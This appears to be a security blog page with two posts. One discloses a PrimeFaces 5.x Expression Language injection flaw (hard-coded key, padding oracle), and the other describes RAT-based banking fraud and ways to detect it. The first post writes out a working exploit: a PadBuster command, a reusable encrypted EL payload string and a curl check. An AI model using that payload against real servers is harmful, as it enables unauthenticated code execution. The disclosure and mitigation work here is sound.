RCE in Oracle NetBeans Opensource Plugins: PrimeFaces 5.x Expression Language Injection

PrimeFaces is a open source User Interface (UI) component library for JavaServer Faces (JSF) based applications, since its release, PrimeFaces has been strongly supported by Oracle, particularly within the NetBeans world.

Disclosure Timeline

PrimeFaces team has been contacted on 20/06/2015 (7 months ago) providing  the following details. Unfortunately the vulnerability has still not been fixed.

PrimeFaces team was asking us to send a github pull request to the public PrimeFaces github dev group; since public pull requests can be read by anyone, we thought that we could link this public content to inform both developers and final users.

PrimeOracle and PrimeSecret Vulnerability Detail

The following two issues have been successfully exploited against PrimeFaces 5.x and 5.3.x, including but not limited to PrimeFaces 5.3.6 version.

The following video shows the impact of these vulnerabilities against a vulnerable Oracle Netbeans 8.0.2 setup with PrimeFaces plugin:




Security issues are cryptographic vulnerabilities that let unauthenticated users to inject arbitrary Expression Language code to PrimeFaces custom EL parser. Both issues have the same sink: EL expression evaluation.

In this post we shared a generic payload to execute a remote interactive command shell via EL .

These two Crypto issues have been called "PrimeSecret" and "PrimeOracle".

Eventually by abusing one of these issues any user can execute arbitrary code on the application server without authentication.

1) PrimeSecret is the default hard-coded passphrase to encrypt several PrimeFaces parameters such as "pfdrid" (by Stefano Di Paola).

2) PrimeOracle is the abuse of a Padding Oracle attack against the internal crypto algorithm that decrypts several parameters such as "pfdrid" (by Giorgio Fedon).


The common vulnerable sink for both security issues is the PrimeFaces Streamed Content Handler that executes EL inline:

/org/primefaces/application/resource/StreamedContentHandler.java

..
String dynamicContentId = (String)
params.get(Constants.DYNAMIC_CONTENT_PARAM);
...
String dynamicContentEL = strEn.decrypt(dynamicContentId);
...
ValueExpression ve =
context.getApplication().getExpressionFactory().createValueExpression(context.getELContext(),
dynamicContentEL, StreametreamedContent.class);
streamedContent = (StreamedContent) ve.getValue(eLContext);



In 2011 a user already reported to the dev team the dangerous impacts of EL injection: 

• http://forum.primefaces.org/viewtopic.php?f=3&t=10899

StreamlinedContent is not a new sink to PrimeFaces dev community as clearly stated in that old post. However at that time the issue was much easier to be exploited.

In short we bypassed a partial security fix available in the newer versions of Primefaces to abuse a known vulnerability.

PrimeSecret

Vulnerable Code that leads to PrimeSecret:

file: "/org/primefaces/config/ConfigContainer.java"

// By default encryption Key is the hardcoded string "primefaces"

secretKey = (value == null) ? "primefaces" : value;


PrimeOracle

Vulnerable Code that leads to PrimeOracle:

file: "/org/primefaces/util/StringEncrypter.java"


// 8-bytes Salt <- Static IV
byte[] salt = {
(byte) 0xA9, (byte) 0x9B, (byte) 0xC8, (byte) 0x32,
(byte) 0x56, (byte) 0x34, (byte) 0xE3, (byte) 0x03
};
...

// Padding Oracle vulnerability since the DES cipher is CBC based
// and process encrypted text without verification (e.g. // HMAC)

KeySpec keySpec = new PBEKeySpec(passPhrase.toCharArray(),
salt, iterationCount);
SecretKey key =
SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec);


Exploitation is easy with PadBuster

In the following example we are going to show the exploitation of  PrimeOracle issue. PrimeOracle exploit can be seen as a generic way to exploit both issues. With PrimeOracle is possible to obtain a resulting exploit parameter string that can be reused against all targets with the same password.

That resulting string obtained from a host vulnerable to Primesecret, will work against all the target with the default secretKey configuration parameter.

First of all for this exploit to work you need a tool to exploit Padding Oracle Vulnerabilities like the beautiful PadBuster tool from GDS Security. Then you can choose any EL payload to be encrypt using the tool.

In this case the payload we have chosen is:

// Set a response Header with a value of "primesecretchk" Request Parameter
${facesContext.getExternalContext().setResponseHeader("primesecretchk",request.getParameter("primesecretchk"))}

Note: Any EL can be executed: payloads can range from reading user session parameters, to arbitrary code execution that can lead to OS compromise.

Then just launch Padbuster with the following command:

./padBuster.pl
"http://localhost:8085/showcase-5.1/javax.faces.resource/dynamiccontent.properties.xhtml?pfdrt=sc&ln=primefaces&pfdrid=C24UkygWm3HMmnSxmDwoxw%3D%3D"
"C24UkygWm3HMmnSxmDwoxw%3D%3D" 8 -encoding 0 -plaintext
'${facesContext.getExternalContext().setResponseHeader("primesecretchk",request.getParameter("primesecretchk"))}'


+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 500
[+] Location: N/A
[+] Content Length: 65766

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 14

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#    Freq    Status    Length    Location
-------------------------------------------------------
1    1    500    65715    N/A
2 **    255    200    0    N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :2

-------------------------------------------------------
** Finished ***

[+] Encrypted value is:
wQR45Hj4OwBRgKBtl5v%2FG4elO1lYWl%2BZfvjy1R79FgJ%2F3H%2BKYopezNVswr9KFx%2B8XaKwW6Tq3bG8OxNcX3CjCO5%2F1SsvFbW8gn6BL38vAt03Pz2scc3fGrGm3Vi7A7wdmqDjIu5mWyXWVXipcGirQgAAAAAAAAAA

-------------------------------------------------------


To check if the application is vulnerable:

n0def@n0def-U36SG:~/Desktop/PadBuster-master$
enc="wQR45Hj4OwBRgKBtl5v%2FG4elO1lYWl%2BZfvjy1R79FgJ%2F3H%2BKYopezNVswr9KFx%2B8XaKwW6Tq3bG8OxNcX3CjCO5%2F1SsvFbW8gn6BL38vAt03Pz2scc3fGrGm3Vi7A7wdmqDjIu5mWyXWVXipcGirQgAAAAAAAAAA";
chk="123445456"; curl -X POST
"http://localhost:8085/showcase-5.1/javax.faces.resource/dynamiccontent.properties.xhtml"
-ki -kvvv -d "pfdrt=sc&ln=primefaces&pfdrid=$enc&primesecretchk=$chk"| grep $chk

primesecretchk: 123445456


//Note: the previous request will work against all systems vulnerable to PrimeSecret! Since // has been generated on a host with "primefaces" secretKey



The application is vulnerable because of the new added response header: "primesecretchk: 123445456"

Remediation

Since an official patch is still not available end users and companies can protect their application by disabling StreamedContentHandler.java.

Alternatively by filtering incoming requests with pfdrid parameter (value longer than 16bytes and Base64 encoded) and "pfdrt=sc" is possible to mitigate the attack: "pfdrt=sc" calls the vulnerable StreamedContent Method and pfdrid contains the exploit payload.

Isn't enough to change the default "secretKey"?

Unfortunately not: changing the default secretKey is not enough because of the padding oracle vulnerability issue that in this post has been named PrimeOracle.

RAT WARS 2.0: Advanced Techniques for Detecting RAT Screen Control

In the landscape of web maliciousness Remote Administration Trojans [1] are not a new trend but their usage is still strong and growing steady.

At its core a RAT is a backdoor facility used to let an attacker enter unnoticed into the victim computer to control it remotely: for example most banking trojan nowadays are using remote desktop modules to open a VNC/RDP channel to allow an attacker to exfiltrate the money from within the users browser inside its legit session.

Newer sophisticated malware like Dyre are stepped up the game by completely diverting the user on fake banking portals while keeping the login session alive in the background, and once the user has disclosed the required credentials, the attacker connect to the user machine via a remote desktop channel and perform the wire fraud unnoticed.

RAT Screen Control

The usual attack is comprised by two phases.

The first step is when a Dyre infected user enter the banking website location inside the browser and the request is proxied by the malware to a fake website that is identical to the bank website just after the real login. In the background Dyre keep the real banking session open.

The second phase happens as soon as the attacker receives an automated Jabber notification with user session data and a VNC callback to a protected terminal server. He then starts interacting with the user by sending challenging questions, fake pages and fake login field to the fake browsing session to the user. The user start answering the attackers forms providing needed information while the attacker starts a screen control session towards the user PC to use the real user session to perform the wire fraud.

This is why this kind of attack it is so hard to detect: for the most part the attack killchain [2] is happening out of reach from the bank's anti fraud capabilities. The only exception is the final exfiltration phase when the only thing left is the chance to detect the attacker session, but even then the attacker is coming from within the legit user session making things harder.
These inner weaknesses of classic agentless fraud detection techniques are the reason behind the increase of popularity and sophistication of this kind of attacks.
Since what agentless fraud detections can do is to detect infected users or detect the attacker session by diverting users to web fakes and masquerading the attacker session there is a high chance to nullify the whole detection.

Then how can a bank portal understand what’s going on if what they see is a session initiated from the usual user’s ip address, from the usual user’s browser fingerprint, without any kind of webinject/AST or other common indicators of compromise?

Advanced RAT detection techniques.

To respond to this new kind of fraud Minded Security has started to research viable detection techniques and implemented a new solution based on Telemetry Modeling.

This is a short description of the viable detection techniques: Desktop Properties Detection, Detection of Velocity Pings or Session Keepalives, Telemetry Modeling of User Biometrics, Telemetry Modeling of Protocols and IOC Detection.

Desktop Properties Detection

This is the most basic detection whose point is to detect anomalies in the properties of the browser/desktop used: for example older RDP protocols might alter the color depth, or hidden VNC session may have unusual desktop resolutions.

Those indicators can be tracked and then correlated to build a detection.

Detection of Velocity Pings or Session Keepalives

While waiting for the user to disclose his PIN/OTP the attacker must keep the user session alive if he want to use it later to perform a wire transfer. This is what “velocity pings” are for: periodic faster HTTP requests whose goal is to keep the session alive.

The requests cadence, their content can be used to build an indicator of compromise and trigger a detection.


Telemetry Modeling of User Biometrics

The point of this approach is to track the user telemetry (keyboard usage, mouse movements, input gestures) to build a model of the user. Once the model is built it is used as yardstick in an anomaly detection context: the output provided give an insight if the current session is being used by the usual users.

Unfortunately while this information is indeed useful, the weaknesses are manifold.
First the infrastructure needed is far from lightweight: it needs to store big data for the user models and has to run complex machine learning algorithms nearly real time to perform the anomaly detection. This means a complex and expensive infrastructure.
Secondly the detection is fooled in the corner case of a single machine shared by different people, think of a corporate environment [3].


Telemetry Modeling of Protocols

This detection is one of the most advanced and relies on tracking glitches and anomalies in how the user’s telemetry is transmitted by the desktop remote protocol.

For example if there is a remote desktop in place, the telemetry data is compressed and passed trough by the remote desktop protocol itself or if the user is browsing the bank page trough a virtual machine, the input is filtered by the VM layer. All these added software layers operates to synchronize between the input received and the input reproduced adding glitches that could be tracked as anomalies.

This let to have a very light engine that is able to lively catch latency generated by user interface flowing through filter-driver chains. Typically VM guest environments and remote control tools install additional layered interfaces to replicate cursor positions and this creates latency patterns we can detect.

Once these anomalies are collected they are used to understand in real time if there is a remote connection in place. We provide this detection approach in our anti fraud suite AMT - RATDET Module.

IOC Detection

A malware infection can alter the profile of the user’s machine/browser and these alterations could be tracked and used as indicators of compromise to flag the user as a potential victim of fraud.

Or it could be possible to check the existence of certain files on the user file system, like suspicious executables, hidden vnc servers and others that can be used as an evidence of infection.

As an example here is a brief proof of concept that is also used by common exploit kits:

These indicators vary from malware to malware but are indeed very useful to prevent a fraud in the early stage of the killchain, as soon the user is infected and before the exfiltration is put in place.



In conclusion In this rat-race against financial malware there is not a de facto detection to be used: malware are constantly evolving and so should our defense techniques

In our opinion the recipe to a successful anti fraud monitoring lies into having a flexible and modular approach: mixing different detection techniques to build an unified risk model of the users.

[1]: https://en.wikipedia.org/wiki/Remote_administration_software
[2]: http://www.lockheedmartin.com/us/what-we-do/information-technology/cybersecurity/tradecraft/cyber-kill-chain.html

[3]: A provider for this kind of solution is BioCatch.